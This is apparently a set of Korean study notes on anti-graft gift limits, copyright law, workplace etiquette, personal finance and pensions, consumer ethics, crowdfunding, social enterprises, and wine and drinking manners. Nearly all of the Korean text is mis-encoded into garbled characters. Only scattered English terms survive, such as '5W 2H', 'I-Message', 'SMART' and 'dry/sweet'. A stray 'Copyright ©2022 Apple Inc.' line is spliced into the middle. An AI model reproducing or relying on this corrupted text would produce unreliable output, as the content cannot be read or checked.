์ธ๋ถ ๊ฐ์์ ๋ํต๋ น๋ น์ผ๋ก ์ ํ๋ ๊ธ์ก์ ์ด๊ณผํ๋ ์ฌ๋ก๊ธ ์์ ์์ฌ๋น (3๋ง์), ์ ๋ฌผ (5๋ง์), ๊ฒฝ์กฐ์ฌ๋น (5๋ง์) (๊ฒฐํผ, ์ฅ๋ก๋ง), ๊ธํ (100๋ง์) ์ฒ๋ฒ ๊ณผํ๋ฃ : ๊ธํ์์ (์์๊ธ์ก 2๋ฐฐ ์ด์ 5๋ฐฐ์ดํ), ๊ฐ์ ์ฌ๋ก๊ธ(500๋ง์ ์ดํ) ํ์ฌ ์ฒ๋ฒ : ๋์ผ์ธ์ผ๋ก๋ถํฐ … (3๋
์ดํ ์ง์ญ 3์ฒ๋ง์์ดํ ๋ฒ๊ธ) ์ฐ์ต๋ฌธ์ ๊ณต์ง์ ์๋
๋์์น์ ์ฐธ์ฌํ๋ฉฐ ์ถํ๊ธ์ผ๋ก 5๋ง์์ ์ ๊ณตํ๋ ๊ฒ -> ์๋ฐ (๋์์น๋ ๊ฒฝ์กฐ์ฌ๋น X) ๊ณต์ง์๊ฐ ๊ฒฐํผ์ ํ๊ฐ์ผ๋ก ์ฐธ์ํ์ฌ 3๋ง์ ์ด์์ ์์ฌ๋ฅผ ์ ๊ณต๋ฐ์ ํ์ -> ์๋ฐX (๋ชจ๋ ์ฌ๋๋ค์๊ฒ ๋์ ํ์ผ๋ฏ๋ก) ๊ณต์ง์ ๋ถ์น์ ์ฅ๋ก์์ ๋ถ์๊ธ 5๋ง์๊ณผ ๋ณ๋์ ํํ์ ๋ณด๋ด๋ ๊ฒฝ์ฐ -> ๋ถ์๊ธ + ํํ 10๋ง์ ์ดํ์ผ ๊ฒฝ์ฐ ์๋ฐ X ์ ์๊ถ๋ฒ ์ ์๊ถ ์ ์๊ถ : ์ฐฝ์์๊ฐ ๊ฐ์ง๋ ๊ถ๋ฆฌ
์ ์๋ฌผ : ์ฌ๋์ ์ฌ์์ด๋ ๊ฐ์ ์ ์ผ์ ํ ํ์์ ๋ด์, ์ด๋ฅผ ๋ค๋ฅธ ์ฌ๋๋ค์ด ๋๋ผ๊ณ ๊นจ๋ฌ์ ์ ์๋๋ก ํํํ ๊ฒ.
์ ์๊ถ๋ฒ์ ๋ชฉ์
์ ์์์ ๊ถ๋ฆฌ๋ฅผ ๋ณดํธํ๊ณ ์ ์๋ฌผ์ ๊ณต์ ํ ์ด์ฉ์ ๋๋ชจํจ์ผ๋ก์จ ๋ฌธํ์ฐ์
์ ๋ฐ์ ์ํค๋๋ฐ ์๋ค. ์ ์๊ถ์ ํ์
Copyright ยฉ2022 Apple Inc.
์ ์๊ถ๋ฒ ์ ์ ๋ฐฐ๊ฒฝ 15์ธ๊ธฐ ์ถํ์ธ์์ ์ ๋ฐ๋ช
์ผ๋ก ๋ฌธ์์ ๋๋๋ณต์ ๊ฐ ๊ฐ๋ฅํด์ง
์ฐ๋ฆฌ๋๋ผ์ ์ ์๊ถ๋ฒ
1957๋
์ ์๊ถ๋ฒ ์ ์ (์ผ๋ณธ ์ ์๊ถ๋ฒ ์ ์ ์
1987๋
๊ตญ์ ์๋์ ๋น๋์ผ๋ก ์ ์๊ถ๋ฒ ๊ฐ์ 1996๋
๋ฒ ๋ฅธ ํ์ฝ ๊ฐ์
๋ฌดํ๋ ๋ฐฉ์ ์ฃผ์ (์ฐ๋ฆฌ๋๋ผ์ ์ ์๊ถ๋ฒ)
=> ์ ์๋ฌผ์ ์ฐฝ์ํ๋ ๋์์ ์๋์ผ๋ก ๋ฐ์ํ๋ ๊ฒ์ผ๋ก ๋ด => ์ ์๊ถ์ ๋ฐ์์ ์ด๋ ํ ์ ์ฐจ๋ ํ๋๋ฐฉ์์ ์ํ์ง ์๋๋ค๋ ๊ฒ์ ์๋ฏธ ์กฐ๊ฑด : ์์ ๋ง์ ํํ ๋ฐฉ์์ผ๋ก ๋
์์ ์ผ๋ก ํํํ ๊ฒ ๋ฐฉ์์ฃผ์ (์ฐ๋ฆฌ๋๋ผ์ ํนํ๊ถ)
=> ๊ธฐ์ ๊ณต๊ฐ์ ๋๊ฐ๋ก ๋
์ ๊ถ์ ๋ถ์ฌํจ์ผ๋ก์จ ๋ฐ๋ช
์์์ ๊ณ ์ทจํจ ์กฐ๊ฑด : ์ด๋ฏธ ์๋ ค์ง ๊ธฐ์ ์ด ์๋์ด์ผํ๊ณ ์ฐ์
์ ์ด์ฉ ๊ฐ๋ฅ ํ ๊ธฐ์ ์ผ ๊ฒ ๋ฒ์ ๋ณดํธ๋ฅผ ๋ฐ๋ ์ ์๋ฌผ์ด ๋๋ ์๊ฑด
๋
์ฐฝ์ฑ์ด ์์ด์ผ ํ๋ค ๋ค๋ฅธ ์ฌ๋์ด ๋๊ปด์ ์ ์ ์์ ์ ๋๋ก ์ธ๋ถ์ ํํ๋์ด์ผ ํ๋ค ์ ์ ์ธ๊ฒฉ๊ถ
์ ์์์ ๋ช
์์ ์ธ๊ฒฉ์ ์ด์ต์ ๋ณดํธํ๊ธฐ ์ํ ๊ถ๋ฆฌ ๊ณตํ๊ถ, ์ฑ๋ช
ํ์๊ถ, ๋์ผ์ฑ ์ ์ง๊ถ (๋จํธ์์ค -> ๋งํ ์ ์ํ๋ ๊ฒฝ์ฐ) ์ ์์ฌ์ฐ๊ถ
=> ์ ์๋ฌผ์ ์ด๋ค ๋ฐฉ๋ฒ์ผ๋ก ์ด์ฉํ๋๋์ ๋ฐ๋ฅธ ๊ถ๋ฆฌ ๋ณต์ ๊ถ : ๋ณต์ฌ, ์ธ์, ์ฌ์ง, ๋
น์, ๋
นํ ๋ฑ์ ๋ฐฉ๋ฒ์ผ๋ก ๋ค์ ์ ์ํ๋ ๊ฒ ๊ณต์ฐ๊ถ, ๊ณต์ค์ก์ ๊ถ, ์ ์๊ถ, ๋ฐฐํฌ๊ถ, ๋์ฌ๊ถ, 2์ฐจ์ ์ ์๋ฌผ ์์ฑ๊ถ ์ ์์ธ์ ๊ถ
์ ์๋ฌผ์ ์ ๋ฌ์๋ก์์ ์ญํ ์ ํ๋ ์์๊ฒ ๋ถ์ฌ๋๋ ๊ถ๋ฆฌ ์ง์ฅ๋งค๋ ํธ์นญ ์๊ธ์ : ์ฑ์จ+์ง์+๋, ์ง์+๋ ๋๊ธ์ ์ฑ์จ+์ง์, ์ฑ์จ+์ง์+๋ (์ ์นํ๊ฑฐ๋ ๋์ด๊ฐ ๋ง์ ๋) ์ฑ๋ช
+์จ (์ฐํ์ด๊ฑฐ๋ ์ง๊ธ์ด ์์ ๋) ํ๊ธ์ : ์ฑ๋ช
+์จ, ์ ๋ฐฐ๋(์ฐ์ฅ์) ์ง์ฅ ์์ฌ์ ๊ฐ์กฑ : ๋จํธ(์ฑ+์ ์๋), ๋ถ์ธ(์ฌ๋ชจ๋), ์๋
(์ฑ๋ช
+์จ) ๋๋ฃ์ ๊ฐ์กฑ : ๋จํธ (๋ถ๊ตฐ, ๋ฐ๊นฅ์ ์๋), ์๋ด(๋ถ์ธ, ์์ฃผ์ธ) ์ธ์ฌ๋ง ์์์ฌ๋์๊ฒ : ๊ณ ์ํ์ญ์์คX, ์๊ณ ํ์ญ์์คX ๋ฐ๋ฅด๊ฒ ์๋ ์์ธ ์์ ์ผํธ์ผ๋ก ๋ค์ด๊ฐ์ ๊น์ํ ์๋๋ค ํ๋ฆฌ์ ๊ฐ์ดํด๊ณ ๋ฑ๋ฐ์ด์ ๊ธฐ๋๋ค, ๋ค๋ฆฌ๋ฅผ ๊ผฌ์ง ์๊ณ ๋ฌด๋ฆ์ ๋ถ์ฌ ์๋๋ค ์ง์ ๋ฐ์ ๋ 5W 2H (When Where Who What Why, How How much) ๊ด์ 20๋ ์์ฐํ์ฑ ์ข
์ฃ๋ ๋ชจ์ผ๊ธฐ ์ข
์ฃ๋ : ๋ณธ๊ฒฉ์ ์ธ ํฌ์๋ฅผ ์์ํ๋๋ฐ ํ์ํ ์ด๊ธฐ์๊ธ
๊ฐ์์ ์ธ ๋ชฉํ๋ฅผ ์ธ์ฐ์ (ex ์ด๋ฒ๋
์ 500๋ง์์ ๋ชจ์ผ์)
๊ธ์ก : ๊ธฐ์กด ์ ์ถ๊ธ์ก์ ์ ์ธํ ๋๋จธ์ง ๊ธ์ก
๊ธฐ๊ฐ : 1~2๋
์ ๋จ๊ธฐ๊ณํ, ์์ ํ ์ ๊ธ์ด๋ ์ฑ๊ถํ ํ๋
๊ธ์ต ์ํ ์ ํ
์ฃผํ์๊ธ : ์ฃผํ์ฒญ์ฝ์ ์ถ, ๋
ธํ์๊ธ : ์ฐ๊ธ์ ์ถ
๊ฒฐํผ์๊ธ : ํผํฉํ ํ๋, ๋น์๊ธ : CMA์ํ, ์ข
์ฃ๋ : ์ ๊ธ/์ฑ๊ถํ ํ๋
์ฃผํ์ฒญ์ฝ์ ์ถ
์๋ก ์ง์ ์ํํธ๋ฅผ ๋ถ์ ๋ฐ์ผ๋ ค๋ ์ฌ๋๋ค์ด ๊ฐ์ค
1์ธ 1๊ณ์ข, ์ฃผํ ์์ ์ฌ๋ถ์ ๊ด๊ณ์์ด ๊ฐ์
๊ฐ๋ฅ
๊ณต๊ณต๋ถ์ (์ฃผํ๊ณต์ฌ) : ์ ๊ธํํ (2~10)
์ฒญ์ฝ๊ธ์ก์ด ํด์๋ก ์ ๋ฆฌ ๋ฏผ๊ฐ๋ถ์ (๋ฏผ๊ฐ๊ฑด์คํ์ฌ) : ๊ฐ์ ์ , ์ถ์ฒจ์
๋ฌด์ฃผํ ๊ธฐ๊ฐ ๊ธธ์๋ก, ๋ถ์๊ฐ์กฑ ๋ง์์๋ก ์ ๋ฆฌ ๊ตญ๋ฏผ ์ฐ๊ธ๋ณดํ
์ฃฝ์๋ ๊น์ง ์ง๊ธ๋๋ ์ฐ๊ธ์ํ, ์๋์ด ์๋ ๊ตญ๋ฏผ์ด๋ผ๋ฉด ์๋ฌด ๊ฐ์
์ฐ๊ธ์ง๊ธ ์์ (61~65์ธ) ๋ณดํ๋ฃ๋ ์๋์ 9% ์ง์ฅ์ธ์ ์ ๋ฐ์ ๊ณ ์ฉ์ฃผ๊ฐ ๋ถ๋ด ๊ฐ์ธ์ฌ์
์๋ ์ฃผ๋ถ๋ ์ ์ก์ ์์ ์ด ๋ถ๋ด ํด์ง ์ฐ๊ธ ์ ๋
ํด์ง๊ธ : ๊ทผ๋ฌด๊ธฐ๊ฐ 1๋
์ ์ฑ์ธ ๋๋ง๋ค ํ ๋ฌ์น์ ์๊ธ์ ๋ชจ์๋จ๋ค๊ฐ ํ๋ฒ์ ์ฃผ๋ ๋ ์ผ์๊ธ/์ฐ๊ธ์ผ๋ก ๋๋์ด์ง๋ค ํด์ง๊ธ ์ ๋ (ํ์ฌ๊ฐ ํ์ฐ -> ๋ชป ๋๋ ค๋ฐ์)์ ๊ฐ์ ํ์ฌ ํด์ง์ฐ๊ธ ์ ๋ DBํ (ํ์ฌ๊ฐ ์ด์ฉ์ง์) : ์ํ ์๊ธ ๋ฐฉ์, ๊ทผ๋ก์๊ฐ ๋ฏธ๋ฆฌ ๊ธ์ก์ ์ ์ ์๋ค. DCํ (๊ทผ๋ก์๊ฐ ์ด์ฉ์ง์) : ์ฃผ๋ก ์ฃผ์์ด๋ ์ฑ๊ถ ํฌ์, ๊ธ์ก์ ์ ์ ์๋ค ์ฃผํ ์ฐ๊ธ ์ ๋ (์ญ๋ชจ๊ธฐ์ง๋ก )
๋ง 55์ธ ์ด์์ ๊ณ ๋ น์๊ฐ ๊ธ์ต๊ธฐ๊ด์ ์์ ์ด ์ด๊ณ ์๋ ์ฃผํ์ ๋ด๋ณด๋ก ์ ๊ณตํ ๋ค, ๋งค๋ฌ ๊ณ ์ ์ ์ธ ์ํ์๊ธ์ ์ฐ๊ธ์์ผ๋ก ๋ฐ๋ ์ฅ๊ธฐ์ฃผํ์ ๋น๋์ถ ๊ธ์ต์ ๋ณด : 20๋์ ๊ธ์ต์ง์์ ์๋ ๊ฒ์ ์ค์ํ๋ค
์ฌ๋ฌด๋ชฉํ ์ค์ ๋ฐฉ๋ฒ ํ๋ช
ํ ์๋น ์ํ ๊ฑด์ ํ ๊ฐ์น๊ด์ ๊ฐ์ง๊ณ , ์์ฐ ์ํ์ ์ค์ฒํ๋ ์ํ
์์ฐ ์ํ ํฌ์์ฑ์ ์์น : ์ฐ๋ฆฌ๊ฐ ๊ฐ์ง ์ฌํ๋ ๋ฌดํํ์ง ์๋ค ์๋น๊ฐ์น๊ด : ์๋น์ ์ฐ์ ์์์์ ์ด๋ค ํ๋ชฉ์ ์ฐ์ ์ํ ๊ฒ์ธ๊ฐ์ ๋ํ ๊ฐ์์ ์ ๋
๊ฐ์ฒ๋ถ ์๋ = ์ด ์๋ - ๋น์๋น์ง์ถ (์ธ๊ธ, ๊ตญ๋ฏผ์ฐ๊ธ, ๊ฑด๊ฐ๋ณดํ) ์์ฐ : ์ผ์ ๊ธฐ๊ฐ ๋์์ ๊ธฐ๋ ์์
์ ๊ธฐ์ดํ ์ง์ถ ๊ณํ ์์ฐ ์ํ์ ์ฅ์ ์์ ์ด ์ถ๊ตฌํด์ผํ ์ฌ๋ฌด์๊ตฌ๋ฅผ ๊ตฌ์ฒด์ ์ผ๋ก ์ ์ ์๋ค. ์์ ์ ์์
๊ธ์ก, ์ง์ถ๊ธ์ก ์ฌ๋ฌด์ํ๋ฅผ ํ์
ํ ์ ์๋ค. ์๋์ ๋๋ฆด ๋ฐฉ์์ด๋ ์๋น์ ์ด๋ค ๋ถ๋ถ์ ์ค์ฌ์ผ ํ๋์ง๋ฅผ ์ ์ ์๋ค. ๊ฒฐ๊ณผ๋ฅผ ํ๊ฐํจ์ผ๋ก์จ ๋ฌธ์ ์ ์ ์ฐพ๊ณ ๊ฐ์ ํด ๋๊ฐ ์ ์๋ค. ์ฌ๋ฌด ๋ชฉํ์ ์๊ฑด ํ์ค์ฑ ์๋ ๋ชฉํ ์ค์ ๊ตฌ์ฒด์ ์ด๋ฉด์ ์ธก์ ๊ฐ๋ฅํ ๋ชฉํ ์ค์ ๋ธ๋ ์ปจ์๋จธ ์๋น์ ๊ถ์ต ์๋น์๋ณดํธ๋ฒ์ ์ ์ ๋ ์ด๋๋ก 40๋
๊ฐ ์๋น์ ๊ถ์ต์ ์ฆ์ง์ํด ๋ธ๋์ปจ์๋จธ ๊ธฐ์
๋ฑ์ ์๋๋ก ๋ถ๋นํ ์ด์ต์ ์ทจํ๊ณ ์ ์ ํ์ ๊ตฌ๋งคํ ํ ๊ณ ์์ ์ผ๋ก ์
์ฑ ๋ฏผ์์ ์์ต์ ์ผ๋ก ์ ๊ธฐํ๋ ์
๋น๋งค๋ ์ปจ์๋จธ ๊ทผ๋ก์์๊ฒ ‘๊ฐ์ง’ํ๋ ์๋น์
๋ธ๋์ปจ์๋จธ๋ฅผ ํฌํจ
=> ‘๊ฐ์ง’์ ํผํด๋ฅผ ๋นํ๋ ๊ทผ๋ก์๊ฐ ๋ง์์ง์ ๋ฐ๋ผ ‘์ฐ์
์์ ๋ณด๊ฑด์ ’ ๊ฐ์
์ค๋ฆฌ์ ์๋น ์๋น์๊ฐ ๋ฌผ๊ฑด์ ๊ตฌ์
ํ ๋, ๊ฐ๊ฒฉ๊ณผ ํ์ง ๋ฟ๋ง ์๋๋ผ ์ฌํ์ ํ๊ฒฝ์ ๋ฏธ์น๋ ์ํฅ์ ๊ณ ๋ คํด์ผ ํ๋ค๋ ๊ฒ ์นํ๊ฒฝ ์๋น ์๊ฑฐ๋ ์๋น์ค๋ฆฌ ์ฌ์
์์ ๊ฑฐ๋ํ ๋ ์ ํด์ง ๊ณ์ฝ์ ์๋ฌด๋ฅผ ์งํค๋ ์ผ ๋ฐ์ด์ฝง : ์ค๋ฆฌ์ ์ผ๋ก ๋ฐ๋์งํ ์ ํ์ ๊ตฌ์
ํ๋ ๊ตฌ๋งค์ด๋ ๋ก์ปฌํธ๋ ์๋น ๊ณต์ ๋ฌด์ญ ์ํ ๊ตฌ๋งค ๊ธฐ๋ถ์ ๋๋ ํฌ๋ผ์ฐ๋ ํ๋ฉ ์จ๋ผ์ธ์ ํตํด ๋ค์์ ์์กํฌ์์๋ก๋ถํฐ ์๊ธ์ ์กฐ๋ฌํ๋ ๊ฒ ์ข
๋ฅ ๋ฆฌ์๋ํ : ์ ํ์ ์์ฐ์๊ฐ ๋ง๋ค์ด๋ด๋ฉด ์ผ๋ฐ์ธ์ด ์ ์ฃผ๋ฌธํด์ ๊ตฌ๋งคํ๋ ๊ฒฝ์ฐ ๊ธฐ๋ถํ : ๊ณต์ต์ ์ธ ํ๋ก์ ํธ๋ฅผ ์งํํ๊ธฐ ์ํด์ ๋ชจ์ผ๋ ๊ฒฝ์ฐ ๋์ถํ : ๊ฐ์ธ๋ค ์ฌ์ด์์ P2P ๋์ถ์ด ์ด๋ฃจ์ด์ง๊ณ , ๋ฆฌ์๋๋ก ์ด์๊ฐ ์ ๊ณต ํฌ์ํ : ํฌ์์๊ธ์ ์ง์ํ๊ณ ์ฃผ์ ๋ฐ ์ฑ๊ถ ๋ฑ์ ๋ณด์์ ๋ฐ์ ํ๋ฉ ๊ธฐํ ๋ด์ ๋ชฉํ๊ธ์ก์ ๋ชจ์ผ์ง ๋ชปํ๋ฉด ์๊ธ์ ๋ค์ ๋๋๋ ค ์ค๋ค ๋ฐ์ ๋ฐฐ๊ฒฝ ์ค๊ฐ ํ๋ซํผ๋ฑ์ฅ, SNSํ์์คํ, ๋์์ ๊ธฐ์
๊ธ์ต, ํฌ๋ผ์ฐ๋ํ๋ฉ๋ฒ ์ฌํ์ ๊ธฐ์
์ฌํ์ ๊ธฐ์
์๋ฆฌ ๊ธฐ์
๊ณผ ๋น์๋ฆฌ๊ธฐ์
์ ์ค๊ฐ ํํ
์ฌํ์ ๋ชฉ์ ์ ์ฐ์ ์ ์ผ๋ก ์ถ๊ตฌํ๋ฉด์, ์ฌํ์ ์๋น์ค์ ์์ฐํ๋งค ๋ฑ ์์
ํ๋์ ์ํํ๋ ๊ธฐ์
๊ณต๊ณต์ฑ๊ณผ ์์ต์ฑ
(๊ณต๊ณต์ฑ) ์์๋ด์ฌ <- NGO <- ์ฌํ์ ๊ธฐ์
-> ํ๋์กฐํฉ -> ์ผ๋ฐ๊ธฐ์
(์์ต์ฑ)
์ฑ๊ณต๋ฐฉ์
์๋ฆฌ๊ธฐ์
๊ณผ ์ฌํ์ ๊ธฐ์
๊ฐ์ ํํธ๋์ญ์ ๋ชจ์ํ ๊ฒ ์ข
๋ฅ
์ผ์๋ฆฌ์ ๊ณตํ : ์ทจ์ฝ๊ณ์ธต์๊ฒ ์ผ์๋ฆฌ๋ฅผ 30% ์ด์ ์ ๊ณตํ๋ ๊ฒฝ์ฐ ์ฌํ์๋น์ค์ ๊ณตํ : ์ทจ์ฝ๊ณ์ธต์ 30% ์ด์์๊ฒ ์ฌํ์๋น์ค๋ฅผ ์ํํ ๊ฒฝ์ฐ ํผํฉํ : ์ทจ์ฝ๊ณ์ธต์๊ฒ ์ผ์๋ฆฌ๋ ์ฌํ ์๋น์ค๋ฅผ ๊ฐ์ด ์ ๊ณตํ๋ ๊ฒฝ์ฐ ์ง์ญ์ฌํ๊ณตํํ : ๋ง์์ ๊ฒฝ์ ์ , ์ฌํ์ , ๋ฌธํ์ ํ์ฑํ์ ๊ณตํํ๋ ๊ฒฝ์ฐ ๊ธฐํํ : ์ฐฝ์์ , ํ์ ์ ๋ฐฉ์์ผ๋ก ์ฌํ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๊ณ ์ ๋
ธ๋ ฅํ ๊ฒฝ์ฐ ์์
๋ฒค์ฒ ๊ฒฝ์ฐ๋ํ
์ฌํ์ ๊ธฐ์
์ ์ฐฝ์
์์ด๋์ด๋ฅผ ๋ฐ๊ตดํ๊ณ ์ฌ์
ํ๋ฅผ ์ง์ํ๋ ๋ํ ์ปค๋ฎค๋์ผ์ด์
๋งค๋ ๋ ์ ๋ฌ๋ฒ (I-Message) ๋๋ฅผ ์ฃผ์ด๋ก ์์ ์ ๊ฐ์ ์ด๋ ์๊ฐ์ ํํํ๋ ์ ๋ฌ๋ฒ
๋ํ์ ํ๋ ฅ์ฑ ๋์์ ์ฌ๊ณ : ์นจ๋ฌต์ ๊ธ์ด๋ค, ์ผ๋ฐฉํตํํ ์์์ ์ฌ๊ณ : ๋ํ๋ ์๋ฐฉํฅ, ๋ฆฌ์ก์
์ค์ ๋จ์ฑ์ ๊ฒฐํผ ํ ๊ฐ์กฑ๊ฐ์ ํธ์นญ ๊ตฌ๋ถ ํธ์นญ (์ง์ ) ์ง์นญ(3์) ์๋ด์ ์๋ฒ์ง ์ฅ์ธ์ด๋ฅธ, ์๋ฒ๋ ์ฅ์ธ์ด๋ฅธ, OO ์ธํ ์๋ฒ์ง ์๋ด์ ์ด๋จธ๋ ์ฅ๋ชจ๋, ์ด๋จธ๋ ์ฅ๋ชจ๋, OO ์ธํ ๋จธ๋ ์๋ด ์ฌ๋ณด, OO์๋ง, ์์, ๋น์ ์ง์ฌ๋, ์์ฌ๋, OO์๋ง, ์๋ด ์๋ด์ ์ค๋น ํ๋ ์ข๋ ์๋ด์ ๋จ๋์ ์ฒ๋จ, ์๋ค ์ข๋ ์๋ด์ ์ธ๋ ์ฒํ ์ข๋ ์๋ด์ ์ฌ๋์ ์ฒ์ ์ข๋ ๋ธ์ ๋จํธ O์๋ฐฉ ์ฐ๋ฆฌ ์ฌ์ ์ฌ์ฑ์ ๊ฒฐํผ ํ ๊ฐ์กฑ๊ฐ์ ํธ์นญ ๊ตฌ๋ถ ํธ์นญ (์ง์ ) ์ง์นญ(3์) ๋จํธ์ ์๋ฒ์ง ์๋ฒ๋ ์์๋ฒ์ง, OO ํ ์๋ฒ์ง ๋จํธ์ ์ด๋จธ๋ ์ด๋จธ๋ ์์ด๋จธ๋, OO ํ ๋จธ๋ ๋จํธ ์ฌ๋ณด, OO์๋น , ๋น์ , ์๊ฐ ๋จํธ, ์๋ฒ, ๊ทธ ์ด ๋จํธ์ ํ ์์ฃผ๋ฒ๋ ์์ฃผ๋ฒ๋, ์์ ๋จํธ์ ๋จ๋์ ๋๋ จ๋(๊ธฐํผ), ์๋ฐฉ๋(๊ธฐํผ) ์๋์ ๋จํธ์ ๋๋ ํ๋ ์๋์ด ๋จํธ์ ์ฌ๋์ ์๊ฐ์จ ์๋์ด ์๋ค์ ์๋ด ์๊ฐ, ์์๊ฐ ์ฐ๋ฆฌ ๋ฉฐ๋์ ํ ๋ก ์ ๊ฒฝ์ฒญ์์ ๋งค๋ SMART ๊ฒฝ์ฒญ๋ฒ Subject (ํ ๋ก ์ ์ฃผ์ ์๊ฐ) Materials (์ธ์ฉํ๋ ์๋ฃ์ ์ถ์ฒ ์ ์) Assertion (์ฃผ์ฅ์ด ๋ฌด์์ธ์ง ํ์
) Reaction (๋ฐ์[๋์/๋ฐ๋]์ ์ด๋ป๊ฒ ํ ์ง ์๊ฐ) Trademark (๋ค๋ฅธ ์ฌ๋์ ์ฃผ์ฅ๊ณผ ๊ตฌ๋ณ๋๋ ํน์์ด ๋ฌด์์ธ์ง ์ฐพ์๋ณธ๋ค) ํต์ ๋งค๋ (ํธ์ง) ์๋ถ ํธ์ง : ๊ฒฉ์์ ์ฐจ๋ฆด ํ์ ์์ ๊ฐ์ฌ ํธ์ง : ํ์ฌ ํ 2~3์ผ ์ด๋ด ์ ์ํ๊ฒ ๋ณด๋ผ ๊ฒ ์ด์ฒญํธ์ง : 2์ฃผ~4์ฃผ ์ ์ ์กํ์์น์ ๋ง์ถ์ด ๋ณด๋ผ ๊ฒ ์๋กํธ์ง : ํ ๊น ๋ง๊น ๊ณ ๋ฏผ๋๋ฉด ์ฐ์, ์ง์ ์ฑ๊ณผ ๋ฐ๋ปํ ๋ง์์ ํํํ ๊ฒ ์์ฃผ๋งค๋(1) ์ ํฌ๋์ฃผ 12-13๋ ์ก๋ฅ์๋ฆฌ์ ์ ํฉ
๋ฐฑํฌ๋์ฃผ 10-13๋, ์์ ์๋ฆฌ์ ์ ํฉ
๋ก์ 6-8๋, ์์ , ํด๋ฌผ๋ฅ, ๋ญ๊ณ ๊ธฐ์ ์ด์ธ๋ฆผ
์์ด์ค์์ธ ๋น๋๊ฐ ๋๊ณ ๊ณผ์ผ ํฅ์ด ์งํจ
๋์ ํธ ์์ธ 18๋ ์ ํ
์คํํด๋ง ์์ธ 10-14๋, ํํฐ์ฉ
ํฌ๋์ฃผ ๋ผ๋ฒจ ์์ธ์ด๋ฆ ์์ฐ์ง ์์ด๋๋ฆฌ(์์กฐ์ฅ) ์ด๋ฆ ์์กฐ์ฅ ์ค๋ฆฝ๋
๋ ๋น๋ ์์ธ์ ๋น๋ ์ดํ๋ฆฌ์ : (dry) <- ์ธ์ฝ <- ์๋ณด์นดํ <-> ์๋ง๋น๋ -> ๋์ฒด -> (sweet) ํ๋์ค : (dry) <- ๋ธ๋ฆฌ <- ์ธํฌ <-> ๋์ค -> (๋ฏ์๋ , ๋ฆฌํ๋ฅด) -> (sweet) ์์ธ์์ ์ข
๋ฅ (์ฌ์ง์๋ฃ) ๋ณด๋ฅด๋ (๋ ๋์์ธ ์), ๋ถ๋ฅด๊ณ ๋ด(๋ ๋์์ธ ์) ํ์ดํธ์์ธ ์, ์คํํด๋ง ์์ธ ์ (์ดํ์ธ ์) ์์ธ ๋ฐ๋ฅด๋ ๋ฐฉ๋ฒ ๋ผ๋ฒจ์ ๊ฐ๋ฆฌ์ง ์๊ฒ ์ก๋๋ค ๋ ๋์์ธ์ ์์ 1/3 ์ฑ์, ์คํํด๋ฆฌ์์ธ์ 2/3 ์ฑ์ ์์ธ์ ์์ด ์ ์ด์ง๋ฉด ์์ธ์ ์จ๋๊ฐ ์ฌ๋ผ๊ฐ์ ๋ง์ด ๋ํจ, ์๋๋ฐฉ ์ํฅ์ ๋ฌผ์ด๋ณด๊ณ ์ฒจ์ ์์ธ ๋ฐ๋ ๋ฐฉ๋ฒ ์์ ํ
์ด๋ธ์ ๋์ ์ฑ ์์ ๋ฐ ๋ถ๋ถ์ ์์ ๋ ์ฑ ๋ฐ๋๋ค ์ค์๋ง : ์์ ์คํ
์ ์ก๊ณ ํ์ชฝ ๋ฐฉํฅ์ผ๋ก ํ์ -> ํฅ์ ํ๋ถํ๊ฒ ์์ฃผ๋งค๋(2) ํํฐ์์ ์์ธ์ ๋ฐ๋ฅด๋ ๋งค๋ ๋จ์ฑ ํธ์คํธ๊ฐ ๋จผ์ ํ
์ด์คํ
-> ์์์ ์์ ์ฌ์ฑ -> ์๊ณ๋ฐฉํฅ ์ฌ์ฑ๋ง -> ๋จ์ฑ -> ์ฃผ์ธ ์์ผ๋ก ๋ฐ๋ฆ ๋จ์ ์ ๋ณด๊ด ๋ฐฉ๋ฒ ์ผ๋ฐ์ : ์๋ํ ๊ณณ์ ๋ณ์ ๋์ด์ ์ ๋ฌธ์ : ์์ธ๋ณ ์์ ๊ณต๊ธฐ๋ฅผ ์ต์ํ ์์ฃผ์ ์ข
๋ฅ ๋ธ๋๋ : ์ฆ๋ฅํ ํฌ๋์ฃผ, 40~42๋ ์์คํค : ๊ณก์ฃผ๋ฅผ ์ฆ๋ฅํ ์ ๋ณด๋์นด : 3 ็ก (๋ฌด์, ๋ฌด์ทจ, ๋ฌด๋ฏธ), ์์ฃผ ์ฐจ๊ฒํ์ฌ ํ๋ฒ์ ๋ง์ฌ ๋ฐํฌ๋ผ : ์ฉ์ค๋์ ์ฆ์ ์คํ ๋ฃ๊ณ ๋ฐํจ, 40๋~60๋ ์ค๊ตญ ์๋์ ์ด์ฒญํ ๊ฒฝ์ฐ ๋ง์ด ๋ง์๋๋ก ๊ถํจ, ์ฒจ์๋ฌธํ ์ผ๋ณธ ์ด์์นด์ผ, ์๊ธฐ ์ฃผ๋๋งํผ ๋ง์ฌ, ์ฒจ์ ๋ฐฉ์, ํ์์ผ๋ก ๋ฐ๋ฅด๊ณ ๋ฐ์, ์๋ฆฌ๊นก (๊ฐ์ ๋ถ๋ด) ํ๋์ค ์์ ์ฃผ๋ฅผ ์์ ์์ ๋ง์ฌ ๋ฐฑํฌ๋์ฃผ, ์ํธ๋ (์ ์ฑ์๋ฆฌ) ์ ๊ณต ์ ํฌ๋์ฃผ, ๋ณธ์์ฌ ์ ๊ณต ์ ์ข
๋ฅ๋ง๋ค ์์ด ๋ค๋ฆ ์์ฌ ๋๋๋ฉด ์ปคํผ, ์ฝ๋ ๋
์ผ ์์ฃผ๊ฐ ์ํ์ ์ผ๋ถ, ๋ค๋ฅธ ์ฌ๋์๊ฒ ์ ์ ๊ถํ์ง ์์ ์๊ตญ ์ค์ฝํ๋๋ ์์คํค(์ค์นด์น) ์ ๋ช
๋ฏธ๊ตญ ์ฅ์ธ์์ ์์ฃผ ๊ธ์ง, ์ผ์์ผ์๋ ์ ์ ํ์ง ์์ ๋ฌ์์ ๋ณด๋์นด๋ฅผ ์ข์ํจ ๋ณตํต->(๋ณด๋์นด+์๊ธ), ๊ฐ๊ธฐ->(๋ณด๋์นด+ํ์ถ), ์ปจ๋์
